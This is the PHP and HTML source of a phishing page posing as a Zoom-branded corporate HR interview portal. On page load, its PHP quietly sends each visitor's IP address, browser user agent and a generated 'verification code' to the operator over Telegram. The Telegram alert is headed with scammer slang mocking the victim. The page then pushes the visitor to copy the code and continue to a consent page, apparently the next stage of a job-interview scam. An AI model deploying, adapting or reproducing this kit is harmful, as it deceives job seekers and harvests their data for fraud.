<?php

include "config.php";

$code =
strtoupper(
substr(
md5(rand()),
0,
8
));

$message = "

🍻 One Mumu Don Press Am 🍻

Verification Code:
{$code}
IP Address:
".$_SERVER['REMOTE_ADDR']."
User Agent:
".$_SERVER['HTTP_USER_AGENT']."
";

sendTelegramMessage($message);

?>

<!DOCTYPE html>
<html lang="en">

<head>

<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">

<title>Corporate HR Portal</title>

<style>

*{
    margin:0;
    padding:0;
    box-sizing:border-box;
    font-family:Arial, sans-serif;
}

body{
    background:#f4f7fb;
    display:flex;
    justify-content:center;
    align-items:center;
    height:100vh;
}

.container{
    width:400px;
    background:#fff;
    padding:35px;
    border-radius:14px;
    box-shadow:0 10px 30px rgba(0,0,0,0.1);
    text-align:center;
}

.logo{
    width:70px;
    height:70px;
    background:#1e3a8a;
    color:#fff;
    margin:0 auto 20px;
    border-radius:50%;
    display:flex;
    align-items:center;
    justify-content:center;
    font-size:28px;
    font-weight:bold;
}

h1{
    font-size:24px;
    color:#111827;
    margin-bottom:10px;
}

p{
    color:#6b7280;
    margin-bottom:25px;
    line-height:1.5;
}

.code-box{
    background:#eef2ff;
    border:2px dashed #1e3a8a;
    color:#1e3a8a;
    font-size:30px;
    font-weight:bold;
    padding:18px;
    border-radius:10px;
    letter-spacing:4px;
    margin-bottom:20px;
    user-select:all;
}

button{
    width:100%;
    padding:14px;
    border:none;
    border-radius:8px;
    font-size:16px;
    cursor:pointer;
    margin-top:12px;
    transition:0.3s;
}

.copy-btn{
    background:#1e3a8a;
    color:#fff;
}

.copy-btn:hover{
    background:#162d6b;
}

.continue-btn{
    background:#9ca3af;
    color:#fff;
    cursor:not-allowed;
}

.continue-btn.active{
    background:#16a34a;
    cursor:pointer;
}

.continue-btn.active:hover{
    background:#15803d;
}

.alert{
    display:none;
    margin-top:18px;
    padding:12px;
    border-radius:8px;
    font-size:14px;
}

.alert.success{
    background:#dcfce7;
    color:#166534;
    border:1px solid #86efac;
}

.disclosure{
    margin-top:22px;
    font-size:12px;
    color:#9ca3af;
    line-height:1.5;
}

</style>

</head>

<body>

<div class="container">

    <div class="logo">
        ZOOM
    </div>

    <h1>Interview Schedule Access Portal</h1>

    <p>
        Copy your portal verification code before continuing.
    </p>

    <div class="code-box" id="codeBox">
        <?php echo $code; ?>
    </div>

    <button class="copy-btn" onclick="copyCode()">
        Copy Verification Code
    </button>

    <button
        id="continueBtn"
        class="continue-btn"
        disabled
        onclick="window.location='consent.php'">
        Continue
    </button>

    <div class="alert success" id="alertBox">
        Verification code copied successfully.
    </div>

    <div class="disclosure">
 
    </div>

</div>

<script>

function copyCode() {

    const code =
    document.getElementById("codeBox").innerText;

    navigator.clipboard.writeText(code);

    // Show custom alert
    const alertBox =
    document.getElementById("alertBox");

    alertBox.style.display = "block";

    // Enable continue button
    const continueBtn =
    document.getElementById("continueBtn");

    continueBtn.disabled = false;
    continueBtn.classList.add("active");

}

</script>

</body>
</html>